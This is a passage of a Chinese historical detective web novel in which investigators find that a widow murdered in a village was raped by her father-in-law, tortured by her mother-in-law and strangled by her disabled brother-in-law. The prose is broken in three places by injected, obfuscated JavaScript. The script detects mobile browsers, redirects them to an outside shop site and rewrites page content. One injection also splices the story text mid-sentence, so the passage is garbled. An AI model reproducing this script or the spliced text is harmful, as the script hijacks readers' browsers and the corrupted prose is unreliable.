“是、是!”老卫头慌得直冒汗,顺着脸颊流下。他一面推搡着儿子,一面不自在的缩缩脚,让开进门的路,“官爷对、对不住……里、里面请。老婆子!倒、倒茶!” 谢宁轩走上前,语气温和:“不必了,老人家别忙活,我们只是来问些问题,不必紧张。” 老卫头挤出些笑容,似是想恭维,但又很不熟练,生生把笑容堆得比哭还难看。 他话也没说出,因为二傻忽然嚎了一嗓子:“听我的!我什么都给你!” “娘呦,闭嘴吧!”老卫头马上去捂儿子的嘴。 二傻却灵活一闪,怪叫一声。手扬起来,一柳条抽到了父亲的脸,登时就是一道血印。 老卫头满脸愠色,咬牙切齿。但外人面前,他也只能捂脸赔笑:“对不住啊官爷,这娃整天胡言乱语,满嘴喷粪,莫、莫吓住官爷小姐。” 像是要印证父亲的话,二傻猛地推开老爹,又大叫起来:“奶、奶,我要喝奶!不吃老帮菜,我不吃!” 老卫头脸都绿了,立即拖着儿子就往后院走。但力气不如儿子,撕扯中,老卫头衣领都被拽开,脖子上也是一道道血痕。 老卫头气急,一把夺下柳条,恨恨扔到一旁。他的掌心,也有着一道深深的血痕。 看来二傻平日里,没少拿柳条抽打父亲。 猩猩衙差此时还不知道我们昨晚的经历,忙上前给我们普及信息:“这呀,是老卫头的二儿子,胎里不足,生出来就是个傻的。小时候就只听老爹管教,学老爹说话,勉强算是温顺。谁知,越长越大,动辄打人,老爹也弄不住他了。” 这时,正房又有一男子走了出来,身量高挑匀称,头发以布条束着,穿着寒酸但举手投足却挺疏阔。 猩猩衙差一怔:“你是何人?” 那人上前拱了拱手,也赔着笑:“回官爷的话,小人窦辉是大郎生前的好友,听说大郎家又出事了,来瞧瞧两位老人。” 猩猩衙差朝我们投来狐疑的眼神,似乎在说,之前可没见过这小子。 谢宁轩则皱眉问:“‘又出事’?这话怎么讲?” “嗨,还不就是几年前,大郎意外亡故……小人也是想替友尽尽孝心。” 老卫头在一旁点头:“是啊是啊,小人就一个儿子争气,养老都要指望他,谁知他还……多亏窦辉有情有义常来看望我们,才让我们日子好过了些。” 老卫头话音刚落,那痴傻的小儿子又蹿了回来,还扬着那支柳条,大声念叨着:“猫哭耗子,黄鼠狼给鸡拜年!” “混账东西!” 这次忍不住开骂的是这家的女主人,拄着拐杖走出来的老婆婆,头发花白,双目浑浊,面相很苦。 “官爷来访,你这夯货别闹腾了!老卫,还不把你这瓜儿子捆起来!” 立马冲上去按住二傻的是窦辉,看样子他的确和卫家很熟。但二傻误会了,还以为窦辉和自己打闹,嗤嗤笑起来,一拳砸中了窦辉的鼻子,瞬间飙血。 在场诸人都吓了一跳,还是浮生亲自上前按住二傻,才让他没再殴打窦辉。 好在窦辉没和傻子计较,这场闹剧总算结束。 卫老太迎我们进了屋,一面语气悲切的抱怨着:“官爷呀,想问的,上回老婆子都给你们说了,还来做什么?我那儿媳命苦,谁能想到出去买个菜,就遭遇不幸了。” 暂在调查阶段,为了不引起家属和村民恐慌,死亡时间和地点,官府暂未透露。所以卫家还以为儿媳是案发次日一早出门后遇害的。 这屋子黄泥涂墙,窗框透风,毫无隔音可言。婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996707|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆喝药睡得死,可家中还有个小叔子啊,也什么都没听到? 窦辉嗤了一下:“他?他就跟个小孩一样,知道啥呀。吃饭都得桃红喂。” 猩猩衙差也摇头:“盘问过,对牛弹琴。” 我瞥了一眼卫老太,她正看着窦辉,神色复杂。 谢宁轩也捕捉到这一幕,挑了挑眉:“桃红,是你儿媳的闺名吗?” 卫老太没说话,倒是窦辉有些尴尬,回答曰:“哦,那个,我和桃……我和弟妹,原也是邻居,大郎和她的婚事,还是我娘说合的。从小叫她叫惯了,没旁的干系。” 这次换成老卫头看向窦辉了。 窦辉喉结上下滚动,眼神有些闪躲。 我和谢宁轩对视一眼,心里都了些猜想。 “窦辉,”谢宁轩叫他,“那你可知,桃红婚前婚后,有什么相熟的男子吗?” 窦辉眨眨眼,马上摇头:“没有,没有,桃红一向检点,在娘家的时候就很乖,嫁人之后也是!” 窦辉看向卫老夫妇,老卫头低下了头。卫老太则盯着他看,手一松,拐杖砸到了地上。 这意味简直太明显了。 谢宁轩索性换了种说法:“我朝规定,孀居满三年,可自行改嫁。桃红却一直留在卫家,真可谓有情有义。在这期间,可有人上门求娶桃红?” 卫老夫妇同时抬头看向窦辉,后者脸上冲上血来,耳朵都泛红了。 见状,我们也不耽搁了,直接将窦辉叫出门询问。 “窦辉,你喜欢桃红,是不是?”谢宁轩开门见山。 窦辉支支吾吾,但架不住谢宁轩眼神的逼迫,还是败下阵来。“是,小人、小人是想娶她来着。” 我不由问:“你说你和她是邻居,又说你娘介绍她给卫家大郎。你若自己个喜欢,当初为什么不让你娘做主求娶她?” 窦辉丧着脸:“嗨,小人弱冠娶妻时,桃红还没长开呢,小人从没往那方面想。大郎小我几岁,我娘撮合他俩的时候,小人还觉得蛮合适。后来大郎意外摔伤,临终前,托我们几个兄弟常来看望他老爹娘,我这也是……” 窦辉说不下去,意思却明了。 在青梅竹马的年岁里,二人并未发展出情谊。反而嫁为人妇后,丧了夫守了寡,常来看望的窦辉,却对儿时就认识的小姑娘动了心。 “你既然已经成婚,如何能来求娶她?” 窦辉搓搓手:“小人那婆娘,去年病死了。小人这才觉得,我俩都是命苦之人,凑合着过,不也挺好吗?但是、但是卫家不答应。” 谢宁轩挑眉:“哦?你登门求娶了?卫家老两口拒绝了?” 窦辉脸色衰败,瞥了一眼屋门,似有哀怨。“谁看不出来他俩打的主意?那不是白白糟蹋了桃红吗?二傻今年才几岁?还是个憨货,哪里知道疼人?” 我心一惊,立即看向谢宁轩,他正皱着眉冷着脸。 好家伙,原来卫氏两口子想把大儿媳又许给二儿子啊! “大郎一死,老两口没了指望。”窦辉叹口气,语气低迷,“连抱个孙子,都得靠二傻了。可他这样子,不给个千八百的彩礼,谁家清白姑娘肯嫁?你们瞧瞧这院子,卫家哪有这闲钱?” 谢宁轩却眯了眯眼:“但我朝规定寡妇供养年数足够后,自行改嫁是无需夫家同意的。你求娶她,为了人情面子好看,过问卫氏夫妇也便罢了,真正拿主意的还是桃红本人。若是她想嫁,卫氏夫妇拒绝也没用。怎么,难道她也没同意?” 窦辉咬了咬嘴唇,没有回答。 看来桃红对窦辉并无此意。但后院那吱里哇啦说着胡话的憨傻小儿,也绝不会是红桃的心上人。 那么,桃红是因为眷恋亡夫自愿守寡不改嫁,还是她的周边,还有旁的异性?她的遇害,又与此有关吗? “窦辉,桃红遇害前一晚,你在何处?” 窦辉一怔:“前一晚?什么意思?” 谢宁轩冷淡道:“没什么意思,回答我即可。” 窦辉咽了口水:“我在家中啊,哪也没去。” 谢宁轩看了我一眼,我亦了然。 窦辉在说谎。 103.义庄 随着卫氏夫妇提供了窦辉上门的详细时间,并事无巨细的介绍了他对桃红的殷勤作为,对窦辉的调查当即铺开。 猩猩衙差对于之前调查竟然疏漏了此人,十分惶恐,查起来极为卖力,很快便将窦辉近来行踪摸了个遍。 “侍郎,王小姐,查到了!”猩猩衙差急匆匆奔来,“窦辉婆娘死了之后,他每晚不是混迹赌坊就是去青楼买醉!” 我和谢宁轩对视一眼,并无意外。 猩猩衙差一怔:“咦,大人小姐早就知道了?” 我直言道:“他自称妻子去年亡故,但他身上有一种低劣的香粉味,领口还有胭脂蹭过的痕迹,说明近日与女子亲近过。” 谢宁轩朝我微笑:“至于赌坊,可从他穿着看出。身上衣衫廉价,最内衣领却是绸缎,洗的发白,足见陈旧。脚下鞋子是一两年前的旧款,但观其款式做工,当年卖价相信不低,这就说明家中过去有余粮,近年来快速落败,令他无力购买新衫,甚至……” 我看向谢宁轩,接过话头:“甚至靠典当度日,因为他的腰带上有明显挂物的勒痕,却没有玉佩香囊等物,说明已经拮据到无钱装饰。” 谢宁轩眼中光芒闪现,梨涡也露了出来。 “没错。而且他眼下乌青,眼中血丝,可知他常在夜晚活动,并用眼过度,但他身上无墨香,说明非熬夜读书所致。那还有什么事,能让他彻夜不睡,又很快败光家底呢?” 猩猩衙差赞叹的鼓起掌来。 浮生更是咧嘴笑道:“大人,小姐,你们可真神了,默契十足,天生一对啊!” 羞赧浮现。余光中,谢宁轩嘴角噙着笑容,亦毫不掩饰的望着我,谆谆烁烁。 “好了,别说这些了。”我努力把氛围拉回到正途,“那,那你查了案发时段他的行踪了吗?可有不在场证明?” “没有证人!”猩猩衙差摆手,“卑职查问了,他因为没有本钱,呆在赌坊主要就是过过眼瘾,偶尔赢了则去妓馆挥霍。但案发那些日子,他可没有明确的证人,完全可能作案!” 谢宁轩负手而立,眉头却未松开。他道:“根据死亡时间,除了桃红死在深夜,另两名死者是白日被杀,那么……” 我叫了出来:“什么,白天?” 猩猩衙差夸张的呲牙:“可不是么!此贼可谓胆大包天!” 好家伙,大白天的潜入虐杀寡妇,采花贼采到这份上,也是独一无二了吧。 感慨中,我也猛地明白了谢宁轩的问题。 “你是不是想问,窦辉与另两名死者有无往来?毕竟白日,他若是出入那两名寡妇家中,不可能没人瞧见吧?” 谢宁轩微笑:“羽书聪慧,我的确有此怀疑。因为本案中,有一点极为重要,就是伤痕。” “伤痕?”浮生重复一句。 “对。三名死者生前均受到了虐待,由以桃红为甚。即便堵住嘴发不了声,虐待二三名也是发生在白日。根据死者生前行踪还原,目前还是认定死者均死在家中。那么问题就来了,但凡死者挣扎时碰到桌椅板凳、锅碗瓢盆,绝不可能如现在般,邻里竟无一人察觉。采花贼到底以何种方式消除动静?毕竟在案发现场与验尸中,也未发现迷药的痕迹。” 我听明白了:“所以你怀疑,凶手不止和桃红认识,也与二三名死者相识?因而进门时未引起被害人惊呼,直到将二人降服?” “对、对哦!”浮生一拍脑袋,又想到一点,“而且白天作案诶,采花大盗怎么这么大胆?或许就是因为熟悉被害人的家中与村落环境!” 谢宁轩看过去:“那么,窦辉符合这个条件吗?” 猩猩衙差呆了两秒,泄了气:“这……不、不符合。他、他和二三名死者,没啥往来啊……” 衙差之前就查问过,三名受害者的街坊邻居都说案发前后无陌生人出入村中。那窦辉就不可能是凶手了。 谢宁轩拍了拍猩猩衙差的肩:“别灰心,窦辉暂时还不能完全解除嫌疑,继续派人监视着。另外,除了他,在桃红来往的人里,还有别的可疑之人吗?” 猩猩衙差摇头。 谢宁轩则朝我递来个眼神,我了然的点了点头。 此前盘问,竟都没有发现窦辉其人,说明秋水县的衙差,还是没多少进步。为了防止重要线索的缺漏,还得我们亲自出马。 于是乎,谢宁轩安排了分头行事。他带队沿河两案,挨家挨户再次查问;我则在浮生的陪同下,敲响了老卫头隔壁邻居的院门。 这位大婶既能在案发前两晚听到桃红的叫声,那案发当晚,真的毫无察觉? 衙差既然问不出,或许代表她有些旁的考虑,那我也别顶着查案名头,索性再次再用给哥哥相亲的意图,上来就说,听闻东橘村有个寡妇品行极佳,哥哥有意求娶,特来打听。 隔壁大婶正在厨房伴豆腐,一听来意诧异的很,眼睛立即就往浮生脸上瞟。 浮生按照我事先的交代,低头、捏手、不说话,一副庄稼傻汉的模样。 “大婶啊,”我戏精上身,“我听媒人说好像姓卫,你可知是哪一户啊?” “你们兄妹俩,没听说吗?她家……哎。”大婶停下手上的活,惋惜的叹了口气。 我装作没听懂,侧头追问:“什么意思啊大婶,她家怎么了?是夫家不允外嫁吗?可媒人说,奉养公婆满三年了呀。” “满,是满了。”大婶语气低沉,“苦命人呐。大郎多好的小伙,小两口感情深,每天早上他去上工,桃红眼巴巴送行……男人死了,桃红也差点伤心的跟去了。这三年,每天早起做饭,从不断档。尽心伺候公婆,对那憨傻儿也很照顾。多好的姑娘啊,可惜……” “可惜什么呀?大婶,到底发生什么了?” “哎!你们来晚了!她人都死了!” 我装作大惊失色:“什么?为什么呀?啊,难道还是跟随亡夫去了?” “哪呀!就最近这采花大盗……倒霉,倒霉呐!” 终于说到正题了! 我掩住急切,继续演戏。 “天哪,她就是那遭难的寡妇之一?哎呀,哥啊!我说早些来问,早些来提亲吧!咱把她娶回去,不就没这事了吗!” 浮生唯有嗯嗯。 大婶却撇了撇嘴:“早来就能娶走?妹子,你也太天真了。卫家还有个痴傻的小叔子,媒人没给你们说清?传承个子嗣最重要!老大都没留个血脉,卫家能甘心儿媳妇就这么走?再说了,她盘靓条顺的,这就给别人家,多可惜啊。” “那、那这也不是卫家老两口说了算的嘛,儿媳妇本人意志也很重要呀。” 大婶扯了扯嘴角,只抛出一句“反正我看卫家不会放她走的。” “呵呵呵呵,”我只好尬笑两声,“那这些年,还有旁人来说亲的吗?” “咋没有?可不少呢!上个月还有媒人来,老卫头直接将人赶了出来!呦,那天他家老婆子可发了老大的火呢,一个劲儿骂她老头。” 我没听明白:“骂老头?为什么?” 大婶眼神一滞,扯扯嘴角避开了我的注视,起身搅合豆腐汤汁去了。 我莫名感觉她有些不悦,但又不知为什么,只得假装朝哥哥抱怨:“哥,都怪你,非要把谷子卖了再来提亲,你看,耽误事儿吧!不过说来也怪,媒人才给我们说了没多久,咋就出事了。诶,大婶,她具体是哪天遭了殃啊?” “嗨,这谁能记清。” “嗯,官府可真无能,还没抓到采花大盗。此人真有通天入地的本事?我看你们村不偏远啊,怎么敢来这里?” “谁说不是呢!这贼也不知道咋盯上俺们村的!”大婶也觉得奇怪,“尤其这卫家,老太婆凶得很, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009455|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把老头贼眼看的很紧。天一黑,老头是出去了,咱这几个村子都是他来打更的嘛,但老太婆和瓜儿子还在家呀。” “那……邻里邻居的就没听见什么动静?” 巴巴问了一圈,就这一句是重中之重。 我紧紧盯着大婶的眼,她皱眉回想着:“真是没听到啥……白天秋收累的跟啥一样,晚上又下那么大的雨,哗啦啦的,谁能留意别家动静。” 不见闪躲,不似伪装。 咦,难道她真的没听见? 接下来,我又针对当日的场景深入问了问,可大婶没能提供什么线索。反而在提及卫家老夫妻的时候,说话前言不搭后语,又时不时吞了尾巴,晦涩难懂。 我这厢收获甚微,那边,谢宁轩也只问到一条线索。说是案发前一日,有邻居从卫家门口经过,看到桃红在厨房烧东西,不时飘出黄色烟雾。 “她在烧什么?”我不明所以。 猩猩衙差搔搔头:“额,这、这和案子有关吗?” 没有答案,几人俱是沉默。 东橘村此行算是告一段落,成果寥寥。因而查案心切的谢宁轩,又在晚饭后,带我赶去了义庄。 猩猩衙差看一眼外面黑漆漆的天色,大写的不情愿。 浮生也支支吾吾地问:“非得现在去吗,明早……” 谢宁轩只看向我,温柔地说:“羽书,若是害怕,你就先回县衙,这边我独自去……” 我摇了摇头。 此案关系无辜女子性命,任凶手逍遥法外一日,便可能随时有更多受害者。谢宁轩马不停蹄的追查,实乃认真负责的体现,我没有理由不支持。 “羽书……”谢宁轩呢喃着,握住了我的手。 两颗心跃跃,是爱意与理想在交织着。 *** 义庄,果如电视剧拍的,饶是四面都竖了火把,还是觉得阴气森森。 屋中此刻六张床上,三张是空的。看来这里陈尸的都是此次□□命案的受害者,被白布盖着,代表着生命已然逝去。 谢宁轩招来了此地的仵作,正就死者被发现时手腕的绳索松紧沟通。 “两人手腕都没绑紧?是不是发现死者的目击者碰过尸体?” 猩猩衙差缩在浮生身侧,连忙摇头:“没,没。卑职问过,都说看见死人,吓都要吓死了。大呼小叫唤人来,没碰过尸体。” “怎么回事?”我忍不住插嘴。 “哦,是这样,后两名死者手脚都被捆住了,打的死结。但蹊跷的是,绳索没系紧。” 我仍有些糊涂:“额,是不是搬运的时候碰松了?” “可二者绳子松弛的幅度都差不多……” 猩猩衙差赶忙续着浮生的话,申明着自己的专业:“不是搬运造成的,不是。卑职等遇到这种大案,都处理的很小心,哪敢摇晃或者撕扯尸体啊,绝不会影响绑住尸体本身的绳索松紧。” 咦,那怎么松了? 还有,谢宁轩刚说什么,后两名死者……那桃红的情况不一样? 点头的是仵作,又提到了另一情况。他整理尸格,再进一步验看的时候,又发现了桃红与后者不同的一处细节。 “上官,卑职指的是三名死者口内的伤口,您看。”说着,仵作掀开了最左侧尸体身上的白布。 一个僵白的躯体出现,我哪敢直视面部啊,闪躲着避开眼神。但余光还是瞥见已变成青紫色的皮肤,伤痕触目惊心,一看就是由不同伤害手段造成的。 天哪,这采花大盗当真变态。 “三名死者口内都有伤口,但较之后二者口角明显的蹭伤,第一名伤口更深、大,集中在口内,而非口角处。像是、像是咬伤的。” 话音落下,我和谢宁轩一时都没说话。 口中咬伤……这什么诡异措辞,怎么造成的? 104.指甲盖 想不明白,而粗粗扫视间,我又察觉到一丝异常。 死者手指修长,虽有操劳家务的茧子,但还算细嫩。指甲也修剪过,很整齐。指甲内,正干干净净。 咦,不对啊。 女性激烈反抗的最常见方式便是厮打凶手,且被勒住时,下意识也会伸手去拉脖子上的绳索。事实上在后世的□□案中,受害者指甲内留下的皮肉组织,往往都是锁定真凶的有力佐证之一。 但这双手的指甲内,却很干净。皮屑、血痕、杂物,都没有。 我感到疑惑,便又查看了另两具尸体,竟然都是一样的情况。 这一观,我又发现,桃红身上伤口显著是一方面,她的两只手手腕处,也有很深的淤青,却和另二者明显的捆绑伤不同,反而像掐住抓住造成的。 而另两者,手腕勒痕明显,青紫淤血严重,却没破皮。 我突然觉得很蹊跷,却怎么也捕捉不出答案。灵光又藏在纱帘后面,就是不肯亮相。 我只好敲敲脑袋,先问指甲的异常。“请问仵作小哥,你给她们清理的时候,清理指甲里了吗?” “指甲里?没有。”仵作摇头,“手部有血痕的话,卑职会擦拭掉,便于检查和记录伤口,但指甲里,卑职没有清理。” 不是仵作动的,那就说明从一开始,死者指甲盖就没有留下反抗的痕迹。 奇怪。 谢宁轩眉头紧蹙,罕见的没有询问我发现了什么,因为他也在巡视三名死者的致命伤时,发现了异常。 “死者脖颈上的勒痕,怎么不一样粗细?” 仵作点头,并不惊讶:“是,第一名死者稍微细一些,二三名则粗一些。” 谢宁轩一怔,立即看向猩猩衙差。 后者茫然的左右瞧瞧:“额,卷宗上没有记录吗?” 看谢宁轩沉下的脸色就知,卷宗记录忒不详了。 猩猩衙差吓坏了,忙竹筒倒豆子:“是,是,仵作汇报了,尸体脖颈伤痕略有差别,虽都是勒毙,但使用工具不同。第一个死者是被比较细的绳索勒死的。” 这时,仵作却替他说话了:“上官,这并不稀奇,卑职以前验过同一凶手杀的不同死者,凶器不是每回都一样。想来杀第一个人的时候,用的就是手边随便拾来的工具,之后再行凶,便专门准备了更趁手的绳子。” 猩猩衙差浅浅松口气,也怯怯地说:“是,是啊,桃红和另两名死者,就是有些许不同啊。” 难道又是因初次犯案,才存在疏漏? 谢宁轩抱臂蹙眉,并未抒怀。我看着他,心里也有些不得劲。 好像就是有什么不太对,是什么? 那厢,仵作见我们都陷入了沉思,猩猩衙差也不说话后,便伸手将白布给死者盖上。 就在这动作之间,猛一刹那,脑中许多信息同时涌出,纷乱的交杂着。耳旁不知为何想起了痴傻儿的一句话,我心中一惊,一个念头就此铺开。 与此同时,是谢宁轩猛地以拳击掌,脸色骤变。 他朝我看了过来,口中喃喃着:“不,不对!羽书,你是不是也想到了?果然!果然不该并案了!” *** 带卫氏夫妇来县衙的时候,正碰上跟踪窦辉的衙差回来,谢宁轩当着二老的面解除了对窦辉的监视。 胖墩墩的赵大人坐在一旁,疑惑又不解,但见我们严肃,也没敢问。 谢宁轩没理会他,而是丢给下属一个眼神。 浮生会意,上前喝了句:“老卫头,挺失望的吧?官府怎么没就此抓了窦辉,是不是?” 老卫头低下头去:“小人、小人不知道官爷说这话是什么意思。” “什么意思?”浮生冷哼一声,“你夫妇俩干出这龌龊事,还好意思问我什么意思?” 老卫头偷偷觑了一眼妻子,没敢说话。 比起老头子的畏畏缩缩,老太太虽然拄着拐,直不起腰,但始终未有瑟缩之意。 谢宁轩早就意识到这里真正的狠人是谁,索性对着老太太发问:“卫老夫人,你如此对待孝顺的儿媳,心中,就没有半分愧疚吗?” 卫老太梗梗脖子,狠狠握住拐杖。 浮生忽然上前夺过拐杖,并不理会险些摔倒的老太太,而是怒曰:“它,你还用它,猛打儿媳!她的背上全是这玩意抽打的伤痕!你真是个恶毒的老婆子!” 卫老太被丈夫扶住,面对质问,一双怨毒的眼睛却瞪向丈夫。 老卫头闪躲着她的目光,虽然他心里很清楚,自己才是罪魁祸首,始作俑者。 听到对话的赵大人终于有些明白过味来,震惊不已,颤着肚子起身:“什、什么意思啊?他、他是采花大盗?” 一直立在他身后的猩猩衙差觑了眼谢宁轩的表情,忙不迭附耳解释。 赵大人仍有些糊涂,迟疑的问:“什么意思?虐杀卫寡妇的,不就是采花大盗吗?” 猩猩衙差声音稍稍拔高:“错啦,老爷,错啦!不该并案了呦!” 是的,不该并案了。桃红之死与其他两名寡妇无关,根本不是采花大盗的受害者。 正如在义庄所见,桃红与另两名死者的差别实在太大。 更细的勒痕,更深的虐伤痕迹,不同的手腕於痕,夜晚作案而非白日……的确,解释为采花大盗初次犯案的生疏与紧张,是说得通的。 但还有另一种可能,那便是,本案与采花大盗案,根本就没关系。从一开始,就不应该并案。 当然,寡妇的身份、勒毙、虐待、抛尸,包括指甲,都太雷同了,让人联想到一起,也是难免的。 可如果独立看呢? 后两名死者口中有刮蹭伤,验尸表明她们曾被口中堵物,这也符合白日作案凶手掩饰的意图。 而桃红口腔中布满的伤口,却不是蹭伤的。她不似另两者,被口中堵物。伤口更似咬烂的。在嘴里的伤口啊,凶手怎么咬烂? 唯一的可能,是桃红自己咬伤的。 桃红死于夜晚,既没有被堵住嘴,为什么没有大声呼救?为什么自己咬自己?为什么当晚邻里一点动静都没听到? 等等,谁说没听到?隔壁大婶不是明明白白说过,案发两天前的夜晚,疑似听到桃红叫声了吗? 浮生厌恶的瞪着老卫头,喝问道:“你觊觎儿媳不是一天两天了吧?” “小人,小人……”老卫头声音低下去,分不清是不是羞愧。 卫老太却突然发作了,她用拳头猛地砸在丈夫的头上,一拳又一拳:“你个老色鬼!裤衩子缝不住蛋的货色!有眼无珠,狐狸精住你脑瓜里了,就知道□□子那点儿事?” 在赵大人惊叹的背景音中,是谢宁轩飞快地扫了我一眼,皱眉咳了两声。 浮生立即上前喝道:“闭嘴!这是什么地方,容得你撒泼吗?老实交代!你怎么发现你丈夫侵犯桃红的?” “侵犯?”卫老太瞪着一双浑浊的眼,恶狠狠骂道,“那婆娘勾搭的!整天在我眼皮底下眉来眼去,当我老婆子死的啊?让她嫁给我家傻儿,说啥都不愿意,却看上这么个老东西,真他娘的贱骨头!” 浮生骂咧咧走上前,谢宁轩也动了怒:“卫老夫人,你骂旁人一句接着一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫老太骂起来:“她就是看上我这死老头子了,她非要和我抢……” 我看一眼风烛残年、老态龙钟的老卫头,心说哪怕那赌鬼窦辉,都比他长相强得多。桃红眼瞎啊,能看上这老头? 猩猩衙差也听不下去了,大喝一声:“闭嘴!” 赵大人则蒙圈的问:“为什么?到底为什么?” 谢宁轩叹口气,哀戚道:“桃红与亡夫,或许是真的情意深重。” 是啊,若非顾念着、怀念着亡夫,桃红何必在夫家侍奉多年?若非不想让亡夫家被人指点,又或许是自知扒灰丑事过于肮脏,桃红,何需咬牙隐忍至此? 她的隐忍不仅在于事后,烧掉了被撕烂的衣服——是的,厨房中黄色的烟是什么?棉花,是棉花制成的衣衫啊。 那晚突然被袭击,她的小衣和肚兜一定有所破损,而为了保全这个家的名声,她竟然主动烧掉了它们。 还在于,事中。即便她反抗抓破了公公的脖子,即便她□□撕裂伤痕严重,但除了最初惊呼的一两声,在她认清来人后,竟还是屈辱的闭上了嘴,不敢叫出声来。 口中的伤口,或就是那时造成的。当然,也可能在之后…… 然而,这样的退让,还是让嫉妒的婆婆,破了防。 儿媳的有情有义她看不到,她只会往肮脏里想。尤其那晚,在隔音差的卫家宅子里,她清清楚楚的听到了,丈夫得手了,色欲上头的丈夫,终于心满意足了。 就连二傻,都知道了。 105.柳条 “什么?二傻也知道?”赵大人惊了,连带着浮生和猩猩衙差,也交换着难以置信的眼神。 我偏过头去,恶心的说不出话来。 还是谢宁轩解释道:“二傻傻了之后,唯有父亲还教他认字说话,他便跟着学,不是吗?” 浮生愣了三秒:“天哪!所以那天他疯疯癫癫说的话,竟然就是才和父亲学的……” “别说了,别说了!”老卫头捂着脸,蹲了下去。 卫老太眼神怨恨,冷笑道:“你敢干那腌臜事,快活上头时说的不是人话,连累儿子都学了去,现在倒没脸听了?” 猩猩衙差纳闷:“‘听我的!我什么都给你!’这话我理解,要喝奶是哪门子的意思啊?‘老帮菜’又是什么东西?” 谢宁轩皱眉扫了他一眼,后者眼珠子一点一点瞪大,直到耳根通红,差点要找地缝钻起来。 谢宁轩轻咳了一声,将话题拉了回来:“你知道丈夫和儿媳越轨后,案发那晚,在丈夫出门打更后,你就对儿媳进行了虐待,对不对?” 桃红还是想简单了,她以为洗干净自己,洗掉指甲里公公的血肉皮屑,烧掉被扯烂的衣服,就能当这件事没发生,就能保住这个家的名声与圆满。 但她错了。 “是,没错!”卫老太咬牙切齿,像一只豺狼,眼睛冒出绿光。“我狠狠教训了她!我用拐杖使劲抽她,拿我的热水袋烫她那娇嫩的皮,我使劲掐她,掐她!但她还是不罢休!她就是不肯从我家滚!” “你胡说什么?”浮生怒道,“什么她不肯滚?分明是你们家不肯放人!” “屁!”卫老太恨的浑身发颤,“她可以自行改嫁!我们拦得住吗?这死老头赶走一户提亲的,还能次次都赶走吗?是她自己不愿改嫁!又不肯嫁给二傻!她分明就是要我这死老头!我都那样打她了,她都浑身是血了,染得床单都是!她竟然还一个字不发,硬是咬牙忍着!她就是个没良心的骚货!” 咬牙忍着! 一嘴的伤口,是桃红为了这个家的体面,生生咬烂的啊! 浮生拳头握了起来,要不是上司在场,他非得上前殴打嫌疑犯。 谢宁轩也避开眼神,连看她都嫌污了眼。 我终是忍不住了,上前大骂:“我呸!你个混蛋!你知不知道桃红咬牙忍着是为了谁!你那样打她,她但凡叫出声,你就得吃官司!她已经供养公婆够了年份,按照大青律例,可以返回娘家,不算你们家的人了!你以为还能凭借公婆身份拿捏她,哪怕报官也只是不痛不痒的挨顿斥责吗?我告诉你!是桃红心善,宁愿自己痛死,也不曾发出声音!否则你吃官司都得去半条老命!” 赵大人嫌弃的扫一眼卫氏夫妇,问我:“但王小姐,桃红到底是被谁勒死的?这老太婆一身骨病,下官看没那劲吧!” 我盯着卫老太,看到她眼里飘过了一丝的惊慌。 是了,观卫家上下,谁能有劲儿勒死桃红?不就是她那痴痴傻傻的二儿子吗? “什么,二傻?”赵大人眉毛挑的老高。 谢宁轩沉沉回答:“桃红刻意忍耐,未发出叫声,加之当夜雨声大,邻里都没注意到。但卫家就那么大点地儿,又是抽打又是烫又是掐的,估计你也没少辱骂吧?所以,当晚家中另一名成员还是听到了动静。二傻带着他那根柳条,到了桃红的屋子。” “柳条,啊,那相对细一些的勒痕,正是柳条造成的!”浮生一拍脑门。 油光光,被晾晒、浸泡过的柳条可以编织竹筐,可以制成家具。其柔韧性、弯曲度,本就无可比拟。 而那柳条,还造成了一处伤痕。 我示意浮生上前掰开老卫头的手,他掌心的红印赫然露了出来。 当日二傻被父亲扯去后院时反抗,柳条抽到了父亲,父亲力气不如儿子,却也奋力夺走了柳条。 那时我注意到,老卫头掌心有一道红印。但我当时以为是他用力从儿子手中夺下柳条造成的,却忽略了那红印又窄又长,若非极大力气使劲勒过,不会充血至此。 另外,二傻被关进地窖半个月,时间也刚好和桃红的遇害契合。结合村民所言,二傻自小就这疯样,一向溺爱容忍的老卫头夫妇,为何这次重罚了他,仅仅因为逮老鼠拆屋? 赵大人还是没明白,小声问:“可二傻为啥进去勒嫂子啊?还有,这和老卫头手掌的伤有啥关系?” “二傻心性未全,痴傻懵懂,将一切都看作玩闹,可他身量长开,力气却不小。还记得吗?我们前去那日,二傻就误解了窦辉要和他打闹,一拳打得窦辉鼻子流血。还曾攻击衙差,也抽打的父亲脸上冒血。” “天哪!”赵大人惊叹,“所以二傻进去见母亲虐待嫂子,不明所以的他以为在玩闹,竟拿着柳条勒嫂子的脖子?” 卫老太马上否认:“胡说,胡说!我儿子没有!别泼我儿子脏水!那女人死不死的,和我儿子没关系!” 但她的丈夫却蹲下身抱着头,浑身都在发颤。 